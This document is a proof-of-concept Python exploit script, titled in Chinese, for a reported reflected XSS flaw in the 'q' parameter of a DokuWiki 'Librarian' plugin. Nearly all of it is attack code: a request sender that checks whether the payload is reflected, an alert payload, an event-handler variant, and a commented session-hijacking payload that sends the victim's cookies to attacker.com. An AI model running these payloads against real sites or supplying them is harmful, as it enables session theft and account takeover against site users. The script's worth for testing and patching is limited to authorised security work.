CVE-2025-61224：DokuWiki Librarian插件XSS漏洞

# CVE-2025-61224 - DokuWiki Librarian Plugin XSS PoC # Vulnerability: Reflected XSS via 'q' parameter in Librarian plugin search functionality # Affected: DokuWiki 2025-05-14a 'Librarian'[56.1] import requests import sys TARGET_URL = "http://target-dokuwiki-site.com/lib/exe/librarian.php" def exploit_xss(target_url, payload): """ Exploit reflected XSS vulnerability in DokuWiki Librarian plugin via the 'q' (query) parameter. """ params = { "q": payload } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } try: response = requests.get(target_url, params=params, headers=headers, timeout=10) # Check if the payload is reflected in the response without sanitization if payload in response.text: print(f"[+] XSS payload reflected successfully!") print(f"[+] Full URL: {response.url}") return True else: print("[-] Payload not found in response (may be sanitized)") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": # Basic XSS payload - cookie stealing demonstration xss_payload = '<script>alert(document.cookie)</script>' # Advanced payload for session hijacking # xss_payload = '<script>fetch("http://attacker.com/steal?c="+document.cookie)</script>' # Event-based payload (alternative vector) # xss_payload = '" onmouseover="alert(document.cookie)" x="' print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Payload: {xss_payload}") exploit_xss(TARGET_URL, xss_payload)